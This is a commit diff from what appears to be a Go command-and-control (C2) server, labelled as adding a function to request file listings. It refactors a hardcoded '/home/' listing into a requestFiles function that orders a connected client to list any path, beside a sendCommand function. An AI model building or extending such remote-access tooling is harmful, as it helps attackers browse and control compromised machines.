Add C2 server function to request file listings
This commit is contained in:
parent
14dbae3140
commit
063f46dcfd
|
@ -117,22 +117,20 @@ func handleConn(conn net.Conn) {
|
|||
}
|
||||
|
||||
go Heartbeat(ID)
|
||||
time.Sleep(time.Second * 1)
|
||||
fmt.Println("ATTEMPT")
|
||||
client, _, _ := returnClient(ID)
|
||||
client.Instruct(
|
||||
Instructions{
|
||||
}
|
||||
|
||||
func requestFiles(client Client, path string) (Response, error) {
|
||||
inst := Instructions{
|
||||
IsListFiles: true,
|
||||
Path: "/home/",
|
||||
},
|
||||
)
|
||||
message, err := ServerMessageReceiver(conn)
|
||||
Path: path,
|
||||
}
|
||||
client.Instruct(inst)
|
||||
message, err := ServerMessageReceiver(client.Conn)
|
||||
if err != nil {
|
||||
log.Print(err)
|
||||
}
|
||||
for _, v := range message.FileList.File {
|
||||
fmt.Println(v.Name, v.FullPath, v.IsFolder)
|
||||
log.Println(err)
|
||||
return message, err
|
||||
}
|
||||
return message, nil
|
||||
}
|
||||
|
||||
func sendCommand(client Client, command string) (Output string, err error) {
|
||||
|
|
Loading…
Reference in New Issue